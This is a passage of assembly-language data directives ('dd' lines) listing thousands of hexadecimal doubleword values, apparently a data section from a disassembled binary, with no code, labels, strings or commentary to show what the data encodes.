0D1800ED8h, 94A0ED4Fh, 0D98B83A7h dd 0B2CC3400h, 7905FA3Ch, 0CE7A0A86h, 918C6E85h, 0CD9D0145h dd 0E1AC41FCh, 0C457D030h, 992D28h, 0AA67B1C2h, 0BCB035C9h dd 6380BFE9h, 1D0AC77Bh, 7F64694Ah, 5F788680h, 7AAED3C1h dd 0E9D8120Fh, 16C0981Eh, 6E2A00A0h, 708AFEC9h, 1D005D66h dd 0F2C244A6h, 1890403h, 0A832C006h, 80CB0F9Ah, 0D4DC9039h dd 6022356Bh, 3F850A9Bh, 15012FA0h, 9E8A7627h, 98B91360h dd 0A0535476h, 896C1E84h, 0A6DBC9A8h, 96414C03h, 0A723F007h dd 86132F30h, 0BABFB0B3h, 70349011h, 480F892Eh, 0D0177C4h dd 7A61AFFFh, 2EC8981Ah, 0B1B0788h, 30F2D797h, 5850A768h dd 0DC8231C5h, 459BD840h, 0C5AEB8h, 84D55655h, 18237D73h dd 0F0CC7800h, 72AB3B5Ah, 93A80928h, 2C024F0Dh, 2F22B0DFh dd 0D9A88691h, 99C1810h, 0F27AE97Eh, 0C08E4200h, 752F6158h dd 0FA12004Ah, 3BF981Fh, 3700DE01h, 74C8D25h, 31FBD210h dd 2E59E184h, 7CA730FFh, 541C890Ch, 4008B6h, 0FC8CCF48h dd 860507D4h, 0F650C100h, 47BF0FA1h, 261C0771h, 0A079CDCFh dd 33629CADh, 7A002092h, 0C02E8715h, 602B501Fh, 20E7A972h dd 0B500B9AAh, 0FCBF4477h, 0B7C065Ch, 42CA3DAh, 0E1139680h dd 5803B5F2h, 2A1C97E6h, 90190A49h, 40E84EA6h, 4BCAE62Ch dd 148B9E3Eh, 88B80F52h, 4BD9C4Dh, 80B54940h, 0B6BE4C03h dd 9CD2B907h, 5B5018ADh, 12CC0DC1h, 4074B011h, 284AC764h dd 1212BE8Ch, 7040A239h, 0B0319448h, 0B2DE01CFh, 4AE982E4h dd 8A3AE4B1h, 95E65A07h, 0CF901402h, 5796CEh, 9C215F7Eh dd 851BEB89h, 0CC6E3407h, 0ED437BAFh, 318A9171h, 495FF0h dd 0C7260D68h, 221FC95Dh, 203E8DA0h, 98D27800h, 74B190E7h dd 0A72900B5h, 686B88F8h, 0F50F81C7h, 801E1B39h, 0E3323D5Eh dd 8F780FC4h, 0A3831892h, 191855FDh, 225140BCh, 37F80003h dd 75D051A4h, 0DB1F9473h, 5D41E081h, 0ED8874C2h, 0BE66FCh dd 14CBE442h, 5C07D18Eh, 5E7C40C3h, 2308007Ah, 0C455F9F6h dd 670013F4h, 882DF352h, 18DEF5A2h, 288F060Bh, 4900EDCBh dd 32782375h, 0D17155h, 3756011Eh, 0F15ED4F6h, 23432B07h dd 807B04C0h, 0E7AFD245h, 2B8381Ah, 88A79200h, 0CABC488Fh dd 0D1936605h, 48085E64h, 18096CCh, 48ABD039h, 2A0489EDh dd 5AFA00FAh, 77B1F2B7h, 67C802D8h, 3FFD6337h, 362A4040h dd 46A07702h, 82332B7Fh, 0A02D8794h, 0BE67DB98h, 9C810090h dd 5AA56DB6h, 0B07C070h, 433F64D9h, 31DE21F0h, 898E60A2h dd 941865D8h, 0B668B100h, 4A2BD946h, 207E67E9h, 0E8FB1DAh dd 65333069h, 0E4009AE6h, 86841E4Dh, 1F5E181h, 599E7D71h dd 0E18FFB52h, 0A96CCC6Eh, 0EFE0A800h, 0A29ACB1Eh, 85730023h dd 1B1A1304h, 530D37DCh, 29AC6E90h, 3C937CECh, 1301943Eh dd 8F1F31E3h, 2107C7ABh, 5AD412F4h, 149C4030h, 0DF4C0144h dd 53D8AEA5h, 0D4188054h, 2C8A4FAFh, 116C3BEFh, 0E30003A2h dd 2148F468h, 906A71h, 6F060D09h, 895587F3h, 0FEBC14A0h dd 0A8C84C00h, 32061E94h, 0A66001Dh, 0D4AFBB21h, 590036CBh dd 2B38AE8Dh, 78C85C12h, 4398C370h, 49005851h, 22CE3F3Dh dd 0C28A4EDEh, 56FAED21h, 0BB5CDB20h, 5BA53AF0h, 293E9C01h dd 0FFBF974Ch, 208212A0h, 483A28C1h, 0F980D72Eh, 644BDA72h dd 0C1F73DC8h, 7C9E808h, 0D260CF0Eh, 7496C017h, 725C5B9h dd 59EA6CE8h, 986100F9h, 95036D9Ch, 0B51DD08Bh, 8821E33Ah dd 50127657h, 0C6B34C88h, 115B2080h, 7C916824h, 0C131D500h dd 0F818FB86h, 4B0A029h, 0FF5C44AFh, 0AEA22C00h, 3748A9F0h dd 0B5B30074h, 6DCBFC19h, 2D0280C5h, 14BB4F1Dh, 0DF88A06Ch dd 981568Ch, 898F7166h, 1C02A707h, 8B005A50h, 8362A221h dd 8059A4h, 23D0919Dh, 98904A15h, 60EBE13Dh, 94DD43A9h dd 612B00ECh, 0E2C0C28Dh, 9A3C0BAAh, 0D49F8A70h, 0DF80A89Eh dd 371F2990h, 2B23002Fh, 0CBA0C3B3h, 28008903h, 8C7078BAh dd 9720F1h, 4BAE50A5h, 0F7C2FFD7h, 1FC1EC3Bh, 65C1CE3Dh dd 6EB35EC0h, 3FC77D0h, 701412DFh, 403F762Eh, 0AA460FA7h dd 0ED170720h, 7B598A1h, 7E66A6F0h, 3BBC01E4h, 5EF82BD1h dd 9630800Ah, 2A9B311Ch, 4A940070h, 0BC388855h, 6B6CC813h dd 0C3AEAC11h, 26CCB529h, 0B0427100h, 0F428DC03h, 3350055Ch dd 0C0975B14h, 9107E480h, 9C2AA100h, 0C584EA15h, 0B9851840h dd 0B519A0F9h, 2C048D3Ch, 8C01B5C6h, 0DBD09546h, 6741E080h dd 39657D0Ch, 3C21BB20h, 0A200AA07h, 3711894Eh, 5400DB3Ah dd 7FE9D4A6h, 733C088h, 43D95B0Eh, 92B63016h, 0D60F048Bh dd 0E00825CAh, 21100966h, 0ADEF015Dh, 74D3C8D9h, 0D2AFF854h dd 344AC600h, 0D77AB671h, 0CBAB0703h, 604E0491h, 63C0788Bh dd 5E734490h, 58D84978h, 2CD320h, 97222008h, 0C68A56F5h dd 3ED618C0h, 9FA3E7h, 0EBA411ABh, 0B3E3FAD3h, 273055FAh dd 0B529408Fh, 5ABF001Eh, 41E75BEDh, 98009C0Ch, 0DB408144h dd 0C457A2h, 0AEDEFCF5h, 1DD3E43h, 4AE1ED00h, 0F2B1F1D5h dd 3DF0022h, 0E4E076D1h, 0FC6092B9h, 1B54E3F9h, 0AA9D005Dh dd 0EB697409h, 5B7006FEh, 1C8B5E03h, 90D3AEA4h, 1EA80A2h dd 93EE3BE5h, 40D6390Eh, 26502AA4h, 0E3421B3Eh, 3BCBAAA8h dd 0E783D7F9h, 11BE5931h, 0B19FC3D0h, 1DFF4200h, 0DF72F110h dd 0D7061E4Bh, 0B5B00723h, 514AE3FCh, 450867C7h, 259443CEh dd 0E57A27h, 4963ACA0h, 0FE1808FBh, 42C9CD95h, 0B96218D2h dd 118F3AE3h, 1B0BC80Fh, 673A819Bh, 0BC4CA741h, 280C2A93h dd 31AD07B0h, 80264A8Eh, 2BFDA235h, 48088A0Ch, 404F28F5h dd 5130078Ch, 0B1AA41BDh, 0C4453023h, 24314D11h, 8C86CB07h dd 0D9828929h, 0B6662023h, 2DFAF9FDh, 22281218h, 0A38B79h dd 0C9C33C04h, 0E09AB045h, 9C303505h, 2C4CC690h, 0C9F31D7h dd 8AB3679Ah, 0D90E2408h, 5F2D353h, 842092D1h, 0F8F980E7h dd 6D039B1h, 0F51530Eh, 1A6964E1h, 6B1858D6h, 0EC451B00h dd 59694C8Ch, 0F02D032Fh, 17DCA2C5h, 9001E99Ah, 91008015h dd 1031A624h, 0A9B8418Dh dd 0D34C19BCh, 0F8FFDB00h, 88CECB3Fh, 2C9CC6Eh, 0C0ABCAF6h dd 2C4AD9h, 0B3B672ECh, 0DC58628Fh, 0B5447D07h, 4FD0B728h dd 30107951h, 4D59CDF3h, 9F508C9Eh, 0AA4CB3E4h, 0A1E44037h dd 0E057B903h, 98254A28h, 58E2D113h, 1F7D8705h, 4CBFF63Dh dd 0FB49D2EEh, 5507CD03h, 118A8EA7h, 832C1h, 9613C644h dd 0C4AE3h, 35FED09h, 84B9B321h, 68E5CD00h, 985629ABh dd 307C9040h, 8AE1C9C7h, 0CC00F713h, 0BCBB08CEh, 9B611Ah dd 44E3A139h, 53ECB6D7h, 8B844B01h, 9F118824h, 0CC7D3880h dd 0A41AD9CAh, 89ABA200h, 0E5269A1Dh, 0B93C2A60h, 4DDC20A8h dd 0B7A004A8h, 66129012h, 0C2F44C27h, 67A56430h, 248ABD05h dd 1C04CD4Eh, 2C8884A9h, 0F258C14Bh, 0E2061193h, 0A3A9B102h dd 0F0767FACh, 17EB3Eh, 0EF47525Ah, 36DC7939h, 0B6A25D09h dd 870880D5h, 0A03A10E9h, 4088B90h, 9C2D35E1h, 0CE8C8C55h dd 0D29F40A0h, 8B36606h, 7621C147h, 0AD274493h, 0AC08547Dh dd 0BEC8B5E6h, 0A7B12Ch, 52E0B0E4h, 0F3A1FEFFh, 0C77840CBh dd 0F0A8C4E5h, 976010A9h, 539CBA39h, 0C3947CA5h, 11A8B830h dd 938B3918h, 970741h, 25413AACh, 7216AF2Fh, 588D6D00h dd 622BCC5Eh, 76BC01F8h, 24A2B1C8h, 0B6C370ECh, 608AB0Ch dd 9467C84h, 42B05FE0h, 3329D503h, 0BBE1D100h, 6338D42Dh dd 0B5C0052h, 99D37E97h, 71041504h, 0E0CF53CDh, 2189C892h dd 0EFC5DBC6h, 0F27A83A8h, 149DE62Ah, 4EC7A70Ah, 8B89F841h dd 44242007h, 1EB75113h, 930AF5A0h, 5528014Dh, 47F00C47h dd 328A78A8h, 4E80F80Ah, 2F4C2DA9h, 0AFF00338h, 0A834B71Bh dd 0B1CBE7C0h, 0B4A4087Eh, 9B043E76h, 1CF0F425h, 2AC78080h dd 0C04A037Dh, 9295DA65h, 0F2F16103h, 0E7C1B43Bh, 95D7520h dd 0D48E58B6h, 4C6B0C1Dh, 0BE59A6B1h, 0B7C53200h, 2BEAAD55h dd 804D0320h, 3C49F006h, 5D8E7BA8h, 659DCA1Dh, 0DA089C64h dd 0C8DE0090h, 8C61907h, 0EA36800h, 0FBE33380h, 6E4B0296h dd 0B6B3C891h, 0DF98A4C0h, 0E86CF40h, 56ACE821h, 9D677CC2h dd 8A70C49h, 0EAA8A80Eh, 5B410010h, 58E724C1h, 0FD0F2BCFh dd 0F5E34B5Eh, 689071F0h, 0E400649Ah, 0D53F0783h, 2688AF19h dd 0ABC64Eh, 0EFC912F8h, 0F1E65C87h, 7809705h, 0AC45C550h dd 9C40C695h, 0E0CD209Dh, 0A0600064h, 5EC52E7Ah, 0AACBE33Fh dd 85588141h, 98224693h, 9C7A116h, 88117669h, 0A2ADD8B6h dd 0C4237E01h, 8BEC4B3Bh, 6118C0F6h, 60FCAA02h, 24998450h dd 4020B14Eh, 8E39A9BCh, 8022B72h, 0E98F8BE6h, 64FC62B9h dd 41070058h, 0B5AD1058h, 5701F50Ch, 9CF7BB9h, 0CC50E928h dd 4C78BFAAh, 0FA80708Bh, 0B756492Ch, 313B1800h, 225AE8CFh dd 23BF0224h, 0D0F5C6D6h, 0E110EC60h, 0B605F899h, 8C408093h dd 0D3039A06h, 0CB3B008Dh, 8158D85Eh, 0EE1317AAh, 3C058051h dd 0E4C88453h, 9E2741Dh, 93F3D9B2h, 28631087h, 20888E42h dd 6B6698AFh, 0A627B000h, 85D8BD46h, 75B70E43h, 4963E035h dd 0D907DDB1h, 0FB933D12h, 3FE27E10h, 0CF241F4Ch, 808D5F38h dd 50B05320h, 0AC984DE9h, 0B2654800h, 1E4AB73Fh, 5D0200C3h dd 209E8AB9h, 0A14884A6h, 90C08E38h, 3F76330Fh, 5A0CA7E0h dd 8010A65h, 0E144D20Bh, 0DC3282A4h, 174D352Eh, 0C841681h dd 0CAA14669h, 47DB2205h, 0D888A353h, 9FB1888Ch, 0D4F071C0h dd 0F432922Bh, 0A6A20013h, 8751D55Fh, 50F7247Eh, 0C72504F4h dd 2FA8F524h, 490DB03Dh, 0B6459Eh, 153A9DF7h, 0FC78B57Ah dd 4709DF09h, 0AABCA27Bh, 24CC420h, 19AD742Dh, 8E03EF1h dd 0AF1210EFh, 461664AEh, 0F802F712h, 6CB34318h, 64208050h dd 7B0E0084h, 0FFF69998h, 7F3C15ECh, 0F2610EBEh, 294D4790h dd 715949A0h, 3C4412AFh, 0DD8C0DB1h, 742288h, 0D0C52286h dd 937B2Eh, 9B813818h, 0E8A52644h, 0A979131Ch, 0F3BC009h dd 0D60A0478h, 4EDE5045h, 1E0A93B0h, 0A4748790h, 9F284039h dd 9B011002h, 33F0C5F3h, 0BBE1599Eh, 0B0CE03E4h, 1E2600F9h dd 17FA8622h, 317BEFAEh, 0F9E7341Fh, 79D20039h, 0EA7EADEh dd 8F5F248Eh, 59740328h, 9EBF6D22h, 0E7622800h, 0E203A3EFh dd 0AEA8F165h, 4EBCC8ADh, 26E62Dh, 5EF7F30Bh, 23FBD4F8h dd 0D54B7305h, 3C836E56h, 8685D8E7h, 114700F5h, 9DFA20F8h dd 0CF01962Dh, 0E327F02Eh, 42E84EB1h, 0A2150798h, 704F89C0h dd 0A3ECA5CCh, 0E74D28CFh, 6950E71Ah, 0E4CC7FCh, 0ADEA2BD9h dd 7EFDD520h, 0DD0FFF50h, 0E0FB1FE9h, 42772981h, 3E517CACh dd 0E300F225h, 2123843Eh, 8BFB59EAh, 0D09738h, 0CAE8E172h dd 0C3A1FE9Fh, 74222F70h, 18CCF93Eh, 9818A235h, 47C90024h dd 2A9D3F66h, 676525B9h, 1800C428h, 0BCEDCA45h, 0D0A500D1h dd 9C2B4297h, 700039BBh, 0AB1C65E7h, 1756C8Fh, 0C925BD8Eh dd 509124B1h, 2F463A88h, 3556C400h, 0EC6BA1FEh, 7FE700BBh dd 0D5AB705Eh, 78004AEDh, 0F250AA24h, 1F32C9Fh, 6F2F5704h dd 0DB869E7Bh, 1DA2200Ch, 342879h, 83470E56h, 42C41393h dd 0B741B400h, 4BAD7361h, 98520030h, 1CB01F64h, 856071B1h dd 0D6E85738h, 0F6B306E2h, 584BF0B5h, 4E71AD00h, 0D905D5A1h dd 0E7FE0C53h, 783009B6h, 5E01C3B8h, 7E64E324h, 0FC20A568h dd 0B53C0F52h, 6D0370FFh, 3EB036D8h, 78BD17A8h, 0EC05034Dh dd 0C4843268h, 80D108E1h, 0F5DD9E81h, 1DE0ACCBh, 41414AA9h dd 26111063h, 0B654C8CAh, 0E9EE9B37h, 1D0C6D90h, 5F200E1h dd 29D94DBCh, 2F747EC8h, 74DC6206h, 3C113CDFh, 0BD0CF7CAh dd 62400C07h, 25001CFAh, 0FA637B6Ah, 5621CAh, 0A9170484h dd 0D8A47391h, 30B39800h, 0DB9A80F9h, 0F80E0034h, 0FC3DD95Bh dd 2102A0B8h, 1DB22E8Eh, 0D58880A9h, 3668D20h, 62A2925Bh dd 70006E36h, 826AA25h, 0F00F2A64h, 59B72A13h, 0FA1F00ECh dd 4CD5F762h, 0C4308EEEh, 7B5730ABh, 0F07F5499h, 3A21449Dh dd 0C548A100h, 4BDEC873h, 2B270FBAh, 411E212Eh, 0A67C30B6h dd 0E068A0C3h, 0ED00F086h, 3B52815Bh, 3D854C5h, 7805D97Dh dd 84B01BC3h, 74033ABEh, 2334152h, 26710C29h, 65E14F05h dd 0EE1E8100h, 162722FCh, 7CCE267h, 0C3967505h, 46FFC0FAh dd 2D399AEEh, 0C17C8623h, 18ED5Ah, 4FE24D65h, 0F11C07DAh dd 0A0E85B44h, 1880F79Ah, 617542EEh, 0C70121BAh, 250EB940h dd 0A2D4A5C4h, 23D20048h, 582A71F9h, 0FA079934h, 7D13ADBh dd 0FBE106AFh, 7EE41811h, 42F091F5h, 70C6D674h, 0F8603EF2h dd 766C00B2h, 6488155Eh, 851E6A26h, 57C0EA8Fh, 0D57E1974h dd 207446h, 1D4D11EBh, 51A12F90h, 75AF9100h, 39B1B57Dh dd 1519015Dh, 0C47A602Eh, 94A0A1F2h, 0FF8A5E80h, 0FF754AAh dd 4298854Dh, 19991BC0h, 2C00B1EBh, 0ADBC7496h, 3F74328h dd 787A5BBFh, 4822225Eh, 0CD0F0F88h, 0EE0E911h, 64B7B8E4h dd 0AEA5C800h, 4FD0809Dh, 17B63935h, 8F79E100h, 8A267E84h dd 47F8FE60h, 0F4D436BFh, 518D03CBh, 0A1159583h, 5321DAB0h dd 0D847400h, 41DEC7B2h, 4D200085h, 19D592D1h, 0BC0017C1h dd 4555444Bh, 1DB2FC4h, 25607756h, 0C1B7FBE9h, 4BB451FDh dd 2B18F18h, 3FC05560h, 0DB660007h, 0DC7D3693h, 0F65005Eh dd 50738FE9h, 0A70A9F9Ah, 0D8B2C1FEh, 1D8C1743h, 2ADBE449h dd 219440Ch, 0C2272818h, 36A2EE1h, 0FB677A0Bh, 31DE525Fh dd 0EAD4119h, 8CCDA49h dd 2C4A7DABh, 31ED5E9h, 0E63F0588h, 0BCBD1800h, 3A34BE13h dd 97113AECh, 8339710Ch, 0C1004620h, 0EADC9A3Dh, 18B3E8B1h dd 2AAC0B9Ch, 0E200F809h, 81EE6115h, 0FE8D34Eh, 88C71FD9h dd 377730D4h, 878013A8h, 0F3DE608Fh, 0F1E99089h, 419800Ah dd 293FCB31h, 85F7002Eh, 0F8E903BFh, 0AA1E5338h, 45C68A8Ch dd 73101CEh, 61A90FC4h, 0B194E3A5h, 48C7A6B8h, 0C98074A0h dd 0F579DE00h, 3B47706Eh, 1A9A1D34h, 0D0D8B7B7h, 0BDD34BD9h dd 1CBB490Eh, 80B889C1h, 0F3804869h, 71CD0001h, 0C9618EFEh dd 0BF5C86BAh, 810F300Bh, 0B6513Dh, 0E1DA549Ch, 0EF4F4BEDh dd 3E2BE807h, 58C01B9Ah, 28711575h, 7284840Ah, 548F6ECh dd 5F4A5D79h, 0B178866Dh, 0A7146107h, 4B415BBDh, 0E8D85E03h dd 0DD63006Bh, 0FB20611h, 0C70C73BFh, 5092CF70h, 0ECB701EFh dd 7A075BF2h, 2368FC43h, 4BACFF01h, 41F1DCCFh, 0E8C38C43h dd 6CDA344Ah, 0E8C160C7h, 201DE78h, 476B7F39h, 0D8E82487h dd 0DC48E181h, 71A57DAAh, 422E1463h, 890F9C34h, 8B60E7F0h dd 0D2D1AABBh, 61A8EF03h, 0CDBBCADh, 0E3804BA8h, 0E5002AD9h dd 6543F327h, 0E9E3A41h, 0F7521842h, 694A1326h, 595AEC07h dd 392C7FE2h, 12B788Bh, 0F4D3AA92h, 7B120FD6h, 331EA0h dd 593A2CCBh, 0D99F3FE1h, 70DAD800h, 57B0F1E0h, 5299F849h dd 1715D42Ch, 1478C026h, 8C956192h, 940B08Ah, 0B280BABDh dd 0C9588EB7h, 89A94134h, 8086F482h, 0F7E9F689h, 80351EA1h dd 26D380DCh, 0EF1A64AEh, 0DBD55200h, 0B757B229h, 507EEC81h dd 738228h, 51BDE96Ch, 6949321Fh, 55E49200h, 0AA5898A0h dd 0E9C50A56h, 0C95D34h, 0FC0E61C0h, 29EC547Fh, 1D99F300h dd 3FA1ECEAh, 0F67CE4h, 9472AC61h, 466BBEFAh, 9505B300h dd 0A1E93880h, 8B28C1A0h, 30DB6993h, 1B74A65Ah, 896E9B00h dd 4BC93607h, 0B7880F0Ah, 4200C77Ch, 0B95FACD3h, 3F9883FBh dd 784E2CDFh, 47693048h, 2BC31DB1h, 6BB1E900h, 0EDDF8725h dd 6FD00E44h, 0B6803F39h, 4689A5A6h, 0C34E31C3h, 0B5910052h dd 0D5203401h, 81074829h, 66F1A226h, 442855F0h, 1C78E88Ch dd 1DAABECh, 0B6958202h, 8FA1E0A4h, 98B1C11h, 6EB20077h dd 0BEFE2BE9h, 0C150E85Fh, 0C0729E94h, 4B150E18h, 123ECA81h dd 632D74Ah, 198D69E4h, 85542200h, 0B915E591h, 3BEE002Ah dd 0A856E2D8h, 0C195F77h, 84B88F44h, 96858D41h, 0C516A6h dd 0B6BA019Ch, 621F548Eh, 0CB4E5377h, 119C9582h, 0B9005AC8h dd 0F27A8871h, 0A50C7751h, 80E26CD4h, 0ADEA2A1Fh, 4D742C8Ch dd 0F1C4009Fh, 0E5012033h, 31E1DC01h, 9E08A6D8h, 97ED2880h dd 0AEE4B556h, 0B395F800h, 0CD549DAFh, 0F1460F58h, 182A5E74h dd 6A5D1EB1h, 0AECB22E8h, 1D5AF800h, 57B16DB4h, 92CCE04Eh dd 89A41D28h, 4C2B56h, 2064486Dh, 9D00973Ch, 0F1635CAEh dd 0EA61B3h, 19BC424h, 2BFC5614h, 967C6006h, 16494E69h dd 72DE0D1h, 403C0D14h, 0DB6CFA28h, 36FE3Bh, 968CBDF7h dd 37C0A2h, 0C9C21E67h, 7E8AD4E9h, 5D856E00h, 9280DB17h dd 0E6A53A21h, 46C82848h, 3ED5A486h, 0FEC00A19h, 2C89D64h dd 13A1206Eh, 1E001846h, 6A93C797h, 632E3469h, 0FF75E8C9h dd 0B0B5403Dh, 0F2C24941h, 40B200F3h, 0C944E245h, 0C5155899h dd 28211Fh, 750A82F4h, 0A48483h, 225E12Eh, 1BCE1485h, 90ED1F03h dd 0B057AE9Ch, 1E18D317h, 304CF898h, 0D8FC5341h, 6EB64B00h dd 89CFB30Ah, 62109082h, 0CAA7898Ch, 3551DCA1h, 254130ADh dd 0AF399074h, 1B8002D5h, 0AAC386C9h, 223C3CE8h, 936930ADh dd 3BC43049h, 0A318F500h, 0C68597E1h, 9617DEEh, 47F2C845h dd 40A41413h, 86A7DB84h, 247B5458h, 6CC53ABAh, 78C3A880h dd 4B12348Ah, 214C1F0Bh, 45268451h, 0ED4E7CC0h, 76D0A8BCh dd 0F8720169h, 4C8DCF7Eh, 8A198CABh, 0D4A908h, 4F383346h dd 23DFC1Ch, 0E8CECC0Fh, 0C6DF826Ch, 0A0F0ACE4h, 0CFE989C7h dd 80AF493Fh, 0F98B9BE6h, 0B094D80h, 1873C4F2h, 0F37E9E03h dd 0D4144850h, 8E7B6F12h, 63F97005h, 7D8F66C0h, 0FCC30101h dd 0D85852D0h, 0C13021ACh, 45D208B4h, 0BE72F55Bh, 80D73840h dd 193A4974h, 422D4h, 0DD118DA4h, 9540D206h, 2F1C0FE6h dd 0C000ACE4h, 792E4794h, 18989029h, 6154FA8Eh, 22146991h dd 1090808Bh, 718896C3h, 0B126A280h, 0ECEF6F1h, 0FB34CD8Bh dd 8407ADC2h, 0A3EFF8Ah, 858AE64h, 1F8A3920h, 5B04CC22h dd 1CB0DBh, 90BDBFF6h, 300D391h, 45C11260h, 74D5A581h dd 53E0DC66h, 0EC7C4043h, 8CA8CFC4h, 30706A48h, 76795067h dd 0F45850F3h, 1D0E84ADh, 5EAC99CCh, 704CF906h, 0B8800668h dd 7096926Fh, 6BB24614h, 745084C8h, 49ACA946h, 0C1176E00h dd 5448367Fh, 88A52469h, 0B1A14FF0h, 0C0723AEAh, 5F324DEFh dd 2C04B87Ch, 2E889748h, 8A411C17h, 0B298C073h, 0C418997Bh dd 6922C907h, 4836ACD6h, 0F0130059h, 4E3C4B62h, 3200FC4Fh dd 0CF5A7CBEh, 3CE86919h, 777BF59h, 0C20E04Ah, 5488026Bh dd 51609498h, 0B600C1FAh, 8D5728AEh, 42F5D55Ch, 5A071078h dd 6040B52Ch, 9E52B854h, 0CAA2EC00h, 78F8EF17h, 68F40614h dd 0B0B70126h, 0C7C0220h, 47888DB9h, 6090B5E1h, 1644E858h dd 0B027B40Ah, 0EA122F40h, 1A11C09Fh, 98BFF856h, 5F2BA207h dd 820B5088h, 0A2E9D5FFh, 3A1E750h, 2A4558Ah, 40DEE260h dd 26FEC17Fh, 12ACA15Ch, 0EDDC208Bh, 3600225Dh, 16C5FD04h dd 141CA9Fh, 0EE1DD0F3h, 53F1D55Ah, 91024430h, 0B2CC1B91h dd 0F80441BBh, 0AD8DFCh, 4A915F5h, 0B84F3342h, 3400EE72h dd 215F0C5Ch, 4891F8Ch, 857E59BEh, 0B7884ADh, 5882B558h dd 0FC008E6Dh, 24CC0BB4h, 246C1B50h, 0B1A21920h, 0B0C885B8h dd 10805210h, 0B9E0B61Ah, 46688870h, 0CF9E1380h, 26A0DDDh dd 22118ABDh, 684B7963h, 76A467E8h, 93E0ECB0h, 84444C48h dd 4E0F7B69h, 5019A22Bh, 0C2C41744h, 0A076FC88h, 80AC0A84h dd 8B02631Dh, 0A282B506h, 21EF8078h, 5B887Ah, 362ABC84h dd 55C22EA3h, 0E89D41CCh, 23124238h, 0C0AE3E11h, 638B0C38h dd 80006719h, 8524BBCEh, 0ED21684h, 0D1D39DB6h, 95690792h dd 7E5782F9h, 7DEC74A3h, 36BABC80h, 0DDA31874h, 10047810h dd 23EEE84h, 9082C55Fh, 2CD52AC4h, 2908304Bh, 65DA8094h dd 0F9C0E1A9h, 2BA5A23Ch, 0C51438A7h, 908F21ACh, 54FE8482h dd 59C22498h, 0CF1F14E6h, 0C737229Dh, 6DC78973h, 0B0198Ch dd 0F805F6F7h, 89482E26h, 7498E00h, 56211719h, 0C029DE66h dd 6F3E1502h, 7A26FAB7h, 0E3103801h, 0E4E617E0h, 0A34F1801h dd 0B3248251h, 0BA22988Ah, 90E912ECh, 8D1585D8h, 0EAA0C03h dd 804D343Eh, 3E2BA0C1h, 0D1251FC8h, 9EA11821h, 7CDC4C25h dd 2994330h, 0C6DB0Fh, 0D710C8E8h, 9670B882h, 0F6177B12h dd 7691B804h, 0A4223E22h, 0F37464DFh, 572049DAh, 0E4B9520h dd 0BB7849FAh, 29188360h, 0D5162171h, 1800D88Fh, 0CADCE01Fh dd 0A177414h, 0B31C6C81h, 7A8022A4h, 99ED043Fh, 8D97C32Eh dd 0B020F278h, 5820C834h, 5F098443h, 0A84936C4h, 0C4F6E16Eh dd 181CAA65h, 20D694E0h, 4662C402h, 4C2929D3h, 9CEC4A5h dd 8C81C32Ch, 3D34FB2h, 0B0980C5h, 902B1D6Eh, 7FE11D11h dd 487831EDh, 0D205F84Ch, 0B0C98F86h, 21DE98C9h, 7DBC65Fh dd 8D67DCCAh dd 0A2B1C060h, 61E0184h, 1CCC0CC5h, 2180220Fh, 0E1C40DEFh dd 6617F041h, 106D40A9h, 4C5AC9C3h, 0C514E86Fh, 0D024FCB7h dd 7EA98A80h, 1C20FCh, 0F593D9E1h, 0D0FBF6D4h, 8C5BC229h dd 53FF1738h, 8542A471h, 1771CCE8h, 22C8E39h, 6B9EF280h dd 83772B10h, 0F6A96C8Fh, 58CB503Fh, 4B1D00DDh, 0A8A1F294h dd 79460FD0h, 4922532h, 230EB8F8h, 907170A5h, 68713E5Ch dd 1501A040h, 0C25A5DB4h, 0B8610A88h, 8380582Ch, 24C4D7D1h dd 6E0169B0h, 0FEC201B9h, 2C605EF0h, 4C2C9096h, 0BD00048Fh dd 0C399EE2Ah, 6D52D3E0h, 24C026A4h, 48A4E942h, 5419C38h dd 1B05A34Bh, 0C08B0019h, 62F31D7Ch, 59444319h, 0D84C08C0h dd 0D28A0B6h, 21D8A4E5h, 0BF1167C9h, 0BC541E8Fh, 40E46926h dd 1586D83h, 6326EDEEh, 3C616078h, 6B01CC7Eh, 4110084Dh dd 0E852C681h, 95A31F00h, 7E0318EAh, 0C9C6027Dh, 0ACD8606Eh dd 0F603A059h, 0AFD92D81h, 0AB12E0A0h, 0AFE138D7h, 0CB84FD00h dd 0FE8CBA0Fh, 0D42E4601h, 35081262h, 7E42C0C8h, 607AF45Dh dd 0D309B893h, 0C803031Ah, 9F3FCF62h, 80A88176h, 7F4CE980h dd 21E50507h, 98396EE2h, 425A5DDh, 2CCC1120h, 9A5A4014h dd 0DE207498h, 21840236h, 99958DBEh, 5F446052h, 3DC90036h dd 84419A5Ah, 0EB3C3189h, 115687F2h, 0F700B30Dh, 2C1349C9h dd 4070EC7Ch, 0E258E82Dh, 2004C704h, 90CCDB12h, 7713288Eh dd 0EB021ECh, 9169C43Dh, 6DDA0048h, 0FB7F762Eh, 0CC0C1CECh dd 0B06CEDB6h, 0ECC55863h, 41E06E29h, 8BD2CE5Fh, 90468489h dd 833288h, 180C3970h, 0EBAFDB17h, 0CEA52113h, 8C0174C8h dd 0F7F1C98h, 0C1B4284h, 595417E0h, 92F60446h, 0E5A801A2h dd 0D0B6D4F4h, 55B44501h, 0FE164E02h, 50815030h, 963ABC9Ch dd 0AAE90C90h, 0AC2C7471h, 65003B02h, 7F5869C3h, 36310755h dd 4032B211h, 4730C60Bh, 0EC796260h, 981CD6EBh, 0CAF448h dd 8CEAE2F5h, 549B4DC5h, 362F6C02h, 643C9CC8h, 55B922E0h dd 96FFDC00h, 7EA109B1h, 986F6239h, 84046B6h, 0BEF665F9h dd 0A6F32803h, 87D4FBB8h, 0C74B12D0h, 4EFA391Ch, 0ED8864AAh dd 204051C2h, 0BEDF3C50h, 75C13180h, 0CE92487Ch, 3463CC00h dd 0DB063E21h, 108C98D4h, 84D85DCAh, 76090984h, 12301002h dd 5F109511h, 0C9CBD90Ch, 0BCD490E9h, 117149h, 43DB6642h dd 3781845h, 0C84A543Eh, 80692D8h, 0A1702D02h, 0DF10E114h dd 0E38B67D3h, 78D97C12h, 6B540007h, 0BFF45188h, 71CC4A39h dd 426CA091h, 5C05220Fh, 701CE0C5h, 10EB6062h, 3760A4Fh dd 0A9C63E90h, 0DA984B2Ah, 0CE7E3031h, 0F1A3FF16h, 0ABFDCC30h dd 4EEE121Fh, 6388271Ah, 812053FBh, 119C21B2h, 6C430311h dd 89662B10h, 8A8CB0C0h, 0B984A164h, 40284431h, 80181F84h dd 0E17F8F8Ch, 80A02448h, 0D3B5BF46h, 0C185C92h, 9E42B010h dd 40E94E22h, 938D1B80h, 0AB316D1Eh, 